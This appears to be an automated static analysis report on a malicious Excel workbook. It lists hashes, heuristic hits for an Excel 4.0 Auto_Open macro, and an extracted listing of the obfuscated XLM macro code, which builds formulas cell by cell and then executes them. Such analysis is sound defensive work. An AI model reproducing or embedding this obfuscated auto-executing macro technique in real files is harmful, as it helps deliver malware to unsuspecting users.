Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6608b177e1497d76…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:46 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 4c55b87bd211beeb78aec85408dfd0ce SHA-1: 1332d1e8adfecde0305fced3244b38c8d3afb4be SHA-256: 6608b177e1497d76241772eebc1130d98f9edd6ca168fe6015b83f6f243191c9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6554 bytes
SHA-256: 35e1577de0b42225f62060113249d28f358ed256e58b8bbad4b75f7458b5791e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fxQmYXRe
' 0018     26 LABEL : Cell Value, String Constant - AqrwofJIFif len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F140 
' 0018     26 LABEL : Cell Value, String Constant - BAvVAqgvsLO len=0 
' 0018     24 LABEL : Cell Value, String Constant - BKlSqoTQg len=0 
' 0018     27 LABEL : Cell Value, String Constant - CMZfCloRoRwL len=0 
' 0018     27 LABEL : Cell Value, String Constant - dtDAaDzxdcuM len=0 
' 0018     20 LABEL : Cell Value, String Constant - fjryc len=0 
' 0018     21 LABEL : Cell Value, String Constant - fzSKlD len=0 
' 0018     27 LABEL : Cell Value, String Constant - GlFBWYAnKXnX len=0 
' 0018     25 LABEL : Cell Value, String Constant - IRYHodrZNc len=0 
' 0018     26 LABEL : Cell Value, String Constant - IzANuitVDjo len=0 
' 0018     25 LABEL : Cell Value, String Constant - JzaSfoOBPm len=0 
' 0018     20 LABEL : Cell Value, String Constant - kFrnI len=0 
' 0018     22 LABEL : Cell Value, String Constant - MENnnhp len=0 
' 0018     21 LABEL : Cell Value, String Constant - MRcbUy len=0 
' 0018     23 LABEL : Cell Value, String Constant - MysTGNYk len=0 
' 0018     25 LABEL : Cell Value, String Constant - rYYqyRIDRp len=0 
' 0018     25 LABEL : Cell Value, String Constant - TYAJCirnWa len=0 
' 0018     22 LABEL : Cell Value, String Constant - UCwKbTr len=0 
' 0018     23 LABEL : Cell Value, String Constant - YGUQdgpg len=0 
' 0018     24 LABEL : Cell Value, String Constant - zVAfvhgFl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fxQmYXRe,F51,"SET.NAME("zVAfvhgFl",VALUE("0"))",""
'  fxQmYXRe,F53,"SET.NAME("IzANuitVDjo",zVAfvhgFl)",""
'  fxQmYXRe,F56,"SET.NAME("rYYqyRIDRp",zVAfvhgFl)",""
'  fxQmYXRe,F61,"SET.NAME("BKlSqoTQg",COUNTA(MysTGNYk))",""
'  fxQmYXRe,F65,"SET.NAME("GlFBWYAnKXnX",COUNTA(MRcbUy))",""
'  fxQmYXRe,F68,[],""
'  fxQmYXRe,F70,"SET.NAME("YGUQdgpg","")",""
'  fxQmYXRe,F72,"IzANuitVDjo",""
'  fxQmYXRe,F74,"SET.NAME("JzaSfoOBPm",HLOOKUP("*",MysTGNYk,IzANuitVDjo,FALSE))",""
'  fxQmYXRe,F76,"TYAJCirnWa",""
'  fxQmYXRe,F79,"SET.NAME("fzSKlD",zVAfvhgFl)",""
'  fxQmYXRe,F84,[],""
'  fxQmYXRe,F88,"fzSKlD",""
'  fxQmYXRe,F93,"MENnnhp",""
'  fxQmYXRe,F96,"dtDAaDzxdcuM",""
'  fxQmYXRe,F101,"kFrnI",""
'  fxQmYXRe,F104,"SET.NAME("IRYHodrZNc",VALUE(HLOOKUP("*",MRcbUy,kFrnI,FALSE)))",""
'  fxQmYXRe,F108,"fjryc",""
'  fxQmYXRe,F112,"YGUQdgpg",""
'  fxQmYXRe,F114,"rYYqyRIDRp",""
'  fxQmYXRe,F118,NEXT(),""
'  fxQmYXRe,F121,"BAvVAqgvsLO",""
'  fxQmYXRe,F124,"SET.NAME("f",INT(T(FORMULA(T(YGUQdgpg)&"",""&T(BAvVAqgvsLO)))))",""
'  fxQmYXRe,F128,"CMZfCloRoRwL",""
'  fxQmYXRe,F133,NEXT(),""
'  fxQmYXRe,F138,RETURN(),""
'  fxQmYXRe,F157,"SET.NAME("UCwKbTr",F51)",""
'  fxQmYXRe,F162,"MysTGNYk",""
'  fxQmYXRe,F164,"SET.NAME("MRcbUy",R50C12)",""
'  fxQmYXRe,F167,"SET.NAME("CMZfCloRoRwL",176)",""
'  fxQmYXRe,F172,"SET.NAME("AqrwofJIFif",6)",""
'  fxQmYXRe,F175,UCwKbTr(),""
'  fxQmYXRe,F176,HALT(),""

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